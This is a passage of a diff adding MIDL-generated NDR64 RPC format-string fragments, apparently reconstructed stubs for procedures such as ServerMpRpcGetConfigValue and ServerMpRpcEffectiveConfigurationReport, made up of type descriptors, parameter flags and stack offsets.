+ { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2241_t __midl_frag2241 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag2240_t __midl_frag2240 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2241 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2239_t __midl_frag2239 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2240 +}; + +static const __midl_frag2238_t __midl_frag2238 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2239 +}; + +static const __midl_frag2235_t __midl_frag2235 = +{ +/* Proc223_ServerMpRpcEffectiveConfigurationReport */ + { + /* Proc223_ServerMpRpcEffectiveConfigurationReport */ /* procedure Proc223_ServerMpRpcEffectiveConfigurationReport */ + (NDR64_UINT32) 21889088 /* 0x14e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2238, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2228_t __midl_frag2228 = +{ +/* Struct_4704_t */ + { + /* Struct_4704_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4704_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2227_t __midl_frag2227 = +{ +/* *Struct_4704_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2228 +}; + +static const __midl_frag2226_t __midl_frag2226 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag2225_t __midl_frag2225 = +{ +/* union_4688 */ + { + /* union_4688 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2226, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2227, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2224_t __midl_frag2224 = +{ +/* Struct_4734_t */ + { + /* Struct_4734_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4734_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2225 + }, + { + /* Struct_4734_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2223_t __midl_frag2223 = +{ +/* *Struct_4734_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2224 +}; + +static const __midl_frag2222_t __midl_frag2222 = +{ +/* **Struct_4734_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2223 +}; + +static const __midl_frag2219_t __midl_frag2219 = +0x11 /* FC64_WCHAR */; + +static const __midl_frag2218_t __midl_frag2218 = +{ +/* *wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2219 +}; + +static const __midl_frag2217_t __midl_frag2217 = +{ +/* Proc222_ServerMpRpcGetConfigValue */ + { + /* Proc222_ServerMpRpcGetConfigValue */ /* procedure Proc222_ServerMpRpcGetConfigValue */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 46 /* 0x2e */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2219, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2222, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag2213_t __midl_frag2213 = +{ +/* *Struct_4650_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2194 +}; + +static const __midl_frag2212_t __midl_frag2212 = +{ +/* **Struct_4650_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2213 +}; + +static const __midl_frag2209_t __midl_frag2209 = +{ +/* Proc221_ServerMpRpcGetConfigPayloadStatus */ + { + /* Proc221_ServerMpRpcGetConfigPayloadStatus */ /* procedure Proc221_ServerMpRpcGetConfigPayloadStatus */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2212, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2205_t __midl_frag2205 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2199 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2202 + } +}; + +static const __midl_frag2203_t __midl_frag2203 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag2202_t __midl_frag2202 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2203 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2200_t __midl_frag2200 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag2199_t __midl_frag2199 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2200 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2198_t __midl_frag2198 = +{ +/* Struct_4620_t */ + { + /* Struct_4620_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4620_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */, + 0, + 0, + &__midl_frag2205, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_4620_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2197_t __midl_frag2197 = +{ +/* *Struct_4620_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2198 +}; + +static const __midl_frag2196_t __midl_frag2196 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag2195_t __midl_frag2195 = +{ +/* union_4580 */ + { + /* union_4580 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2196, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2197, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2194_t __midl_frag2194 = +{ +/* Struct_4650_t */ + { + /* Struct_4650_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4650_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2195 + }, + { + /* Struct_4650_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2188_t __midl_frag2188 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag2187_t __midl_frag2187 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + 